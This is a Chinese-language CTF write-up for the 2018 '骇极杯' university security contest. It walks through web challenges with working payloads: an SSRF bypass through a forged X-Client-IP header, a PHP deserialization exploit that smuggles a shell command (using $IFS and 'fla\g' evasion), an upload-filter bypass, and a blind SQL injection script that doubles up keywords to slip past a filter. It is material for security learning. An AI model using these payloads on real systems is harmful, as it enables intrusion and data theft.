\"骇极杯\"全国大学生网络安全邀请赛 Write up
2018-11-05 09:00:44

[toc] 图片.png web题质量就不谈了,misc出题人要被人打死。 wp是交给主办方的wp,写的比较辣鸡,大佬们将就看看吧

签到题

MZWGCZ33GM2TEMRSMQZTALJUGM4WKLJUMFTGELJZGFTDILLBMJSWEYZXGNTGKMBVMN6Q Base32解码就行了 图片.png

web1

源码提示robots.txt 发现source.phpflag.php 访问source.php 图片.png Post admin=1显示127.0.0.1才能看到flag 123.png x-forwarded-for,client-ip什么的都不行,最后发现x-client-ip可以 22.png 让我们post一个url=http://www.ichunqiu.com,然后给了一个img标签,img的src一直在变。应该是SSRF,不过要求前面必须是http://www.ichunqiu.com,最后学长发现file协议可以绕过 33.png 最后curl这个图片的地址即可,在linux下curl,分号会截断,需要转义或者在URL两边加上双引号。 44.png

web2

Can you hack me? 扫描目录发现.index.php.swp。 扔linux里复原进行代码审计。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?php
error_reporting(0);
class come{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
}
}
function waf($str){
$str=preg_replace("/[<>*;?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function echo($host){
system("echo $host");
}
function __destruct(){
if (in_array($this->method, array("echo"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}

}

$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
if($i===1)
{
$i++;
$$key = $value;
}
else{break;}
}
if($first==="doller")
{
@parse_str($_GET['a']);
if($var==="give")
{
if($bbb==="me")
{
if($ccc==="flag")
{
echo "<br>welcome!<br>";
$come=@$_POST['come'];
unserialize($come);
}
}
else
{echo "<br>think about it<br>";}
}
else
{
echo "NO";
}
}
else
{
echo "Can you hack me?<br>";
}
?>

反序列化之前的绕过很简单就不用多说了,直接贴payload first=doller&a=var=give%26bbb=me%26ccc=flag 然后就是反序列化构造 Waf掉了<>*;?\n空格,还有flag。flag可以用fla\g绕过,空格可以用$IFS 构造反序列化利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
error_reporting(0);
class come{
private $method;
private $args;
function __construct($method, $args) {
$this->method = "echo";
$this->args = array("host"=>"'test'&&cat\$IFS/fla\g");
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
}
}
function waf($str){
$str=preg_replace("/[<>*;?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function echo1($host){
system("echo $host");
}
function __destruct(){
if (in_array($this->method, array("echo1"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
}
}

$A=new come();
echo urlencode(serialize($A));

这里函数名为echo比较坑,函数名为内置函数有的版本php会报错。所以我改成了echo1 11.png Post一下就可以得到flag 22.png

web3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
//error_reporting(0);
//$dir=md5("icq" . $_SERVER['REMOTE_ADDR']);
$dir=md5("icq");
$sandbox = '/var/sandbox/' . $dir;
@mkdir($sandbox);
@chdir($sandbox);

if($_FILES['file']['name']){
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename)) {
$filename = explode('.', $filename);
}
$ext = end($filename);
if($ext==$filename[count($filename) - 1]){
die("emmmm...");
}
$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
$_ = $_POST['hehe'];
if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
include($_);
}
unlink($new_name);
}
else{
highlight_file(__FILE__);
}

代码审计, end函数取所post参数数组中的最后一个值 $ext==$filename[count($filename) - 1])我们可以post参数名为一个[0]一个[2],然后$filename[count($filename) - 1])就会等于空即可绕过。 最终的文件名由100到999随机数为文件名,$ext为后缀。且会从post参数hehe中读取文件内容,要求文件内容开头为@<?php,并且hehe不能等于上面的随机文件名。最后会删除这个随机文件名的文件。 这里利用unlink一个trik,不会删除/.结尾的文件。所以我们可以让数组中最后一个元素的值为php/.,这样文件名的后缀就会为xxx.php/.,就不会被删除,而实际储存的是xxx.php。 接着我们就可以从100到999爆破文件名然后获得flag。 构造html文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<form action="http://b39c1fb085a94bc09bed19cfc5e7966dfb6b6c500c2a4277.game.ichunqiu.com/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="file" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

</body>
</html>

然后上传抓包,构造 1233.png 随机生成100-999,爆破文件名
44.png

web4

这道题就不谈了,真●CTF 大概的注入脚本,fuzz一下,发现select,from被替换成空了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# -*- coding:utf8 -*-
import requests
import string
str1=string.ascii_letters+string.digits+string.punctuation
password=""
url="http://2f18ac694e5f4fbaaeb1749e3689aa56e96f607d961b4cd0.game.ichunqiu.com/select_guest.php?id="
for j in range(1,99999):
for i in str1:
url = "http://2f18ac694e5f4fbaaeb1749e3689aa56e96f607d961b4cd0.game.ichunqiu.com/select_guest.php?id="
paylaod="1' and (if(substr((seleselectct group_concat(column_name) frfromom inforfrommation_schema.columns where table_name='user'),%d,1)='%s',1,0)) and 1='1"%(j,i)
#print(paylaod)
url=url+paylaod
r=requests.get(url=url)
#print(url)
#print(r.text)
if '10' in r.text:
password+=i
print(password)
break

然后就是上传绕过,这里的%02是个什么鬼我就不知道了。只能说真●CTF 图片.png

Prev
2018-11-05 09:00:44
Next